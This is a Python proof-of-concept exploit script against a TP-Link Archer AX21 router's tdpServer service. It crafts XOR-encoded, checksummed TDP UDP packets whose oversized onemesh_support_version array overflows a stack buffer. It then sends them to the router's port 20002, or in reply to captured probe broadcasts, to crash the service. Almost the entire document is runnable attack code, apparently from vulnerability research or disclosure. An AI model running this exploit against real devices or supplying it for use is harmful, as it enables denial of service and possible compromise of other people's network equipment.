Triggers TP-Link AX1800 Archer AX21 V3.6_1.1.1 tdpServer onemesh_support_version stack buffer overflow

meshyjson_poc.py

import argparse
import sys
import json
import socket
import struct
import binascii

CHECKSUM_MAGIC = 0x5a6b7c8d

def xorEncrypt(buffer):
    result = b''
    key = 0xFA
    for b in buffer:
        value = key ^ b
        result += struct.pack('!B', value)
        key = value
    return result

def createPacket(opcode, pType, body, version = 1, flags = 1, unk1 = 0, sn = b'\x00\x00\x00\x00', length = None):
    # Convert dict to JSON then encode to bytes
    if type(body) is dict:
        body = json.dumps(body, separators=(',', ':')).encode('UTF-8')

    # Calculate length body
    length = len(body) if length == None else length

    # Length validation
    if length > 0x400:
        print('[!] Packet payload length ' + hex(length) + ' exceeds maximum size of 0x400!')
        return None

    # XOR encrypt body
    body = xorEncrypt(body)

    # Build header bytes
    _version = struct.pack('!B', version)
    _type = struct.pack('!B', pType)
    _opcode = struct.pack('!H', opcode)
    _length = struct.pack('!H', length)
    _flags = struct.pack('!B', flags)
    _unk1 = struct.pack('!B', unk1)

    # Build payload with magic checksum
    header_no_checksum = _version + _type + _opcode + _length + _flags + _unk1 + sn
    payload_checksum = header_no_checksum + struct.pack('!I', CHECKSUM_MAGIC) + body

    # Calculate checksum
    checkSum = struct.pack('!I', binascii.crc32(payload_checksum[:len(header_no_checksum) + 4 + length]))

    # Build final payload
    header = header_no_checksum + checkSum
    return header + body

def getProbePayload(method):
    # Build overflow array
    onemesh_support_version = [0x01] * 32 # Fill SharedMemoryClient.onemesh_support_version
    onemesh_support_version += [0x04] # SharedMemoryClient.bridge_mode
    onemesh_support_version += [0x00] # SharedMemoryClient.wpa3_support
    onemesh_support_version += [0x00] # Unknown
    onemesh_support_version += [0x00, 0x00, 0x00, 0x00] # SharedMemoryClient.last_active_timestamp
    onemesh_support_version += [0x00] * 9 # Unknown - Reach end of SharedMemoryClient variable
    onemesh_support_version += [0x00] * 7 # Unknown
    onemesh_support_version += [0x3F, 0x00, 0x00, 0x00] # onemeshSupportVersionArraySize (63)
    onemesh_support_version += [0xFF, 0xFF, 0xFF, 0xFF] # onemeshSupportVersionArray

    return {
        'method': method,
        'error_code': 0,
        'data': {
            'mac': '00-00-00-00-00-00',
            'group_id': 'a',
            'ip': 'a',
            'model': 'a',
            'product_type': 'a',
            'operation_mode': 'a',
            'onemesh_role': 'a',
            'bridge_mode': 4,
            'wpa3_support': 0,
            'onemesh_support_version': onemesh_support_version,
            'onemesh_support': True
        }
    }

if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='TP-Link TDP onemesh_support_version PoC.')
    parser.add_argument('-i', '--ip', help='The router IP address to connect to.')
    parser.add_argument('-p', '--port', default=20002, type=int, help='The TP-LINK TDP UDP port. (Default 20002)')
    parser.add_argument('-b', '--broadcast', action='store_true', help='Send the PoC to the broadcast fork.')
    args = parser.parse_args()

    if args.ip == None and not args.broadcast:
        print('[-] Invalid IP argument!')
        sys.exit(1)

    # UDP socket
    sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)

    # Crash broadcaster
    if args.broadcast:
        # Listen for broadcast
        sock.bind(('', 20002))

        # Receive broadcast
        print('[#] Waiting for probe broadcast...')
        rawProbe, address = sock.recvfrom(2048)

        # Send overflow payload response
        print('[+] Sending stack overflow crash to broadcast fork!')
        packet = createPacket(
            pType = 0x00,
            opcode = 0x01,
            body = getProbePayload('probe_response'),
        )
        sock.sendto(packet, address)
        sys.exit(0)

    # Crash server
    print('[+] Sending stack overflow crash to server fork!')
    packet = createPacket(
        pType = 0xf0,
        opcode = 0x01,
        flags = 0x31,
        body = getProbePayload('probe')
    )
    sock.sendto(packet, (args.ip, args.port))
    sock.close()
    sys.exit(0)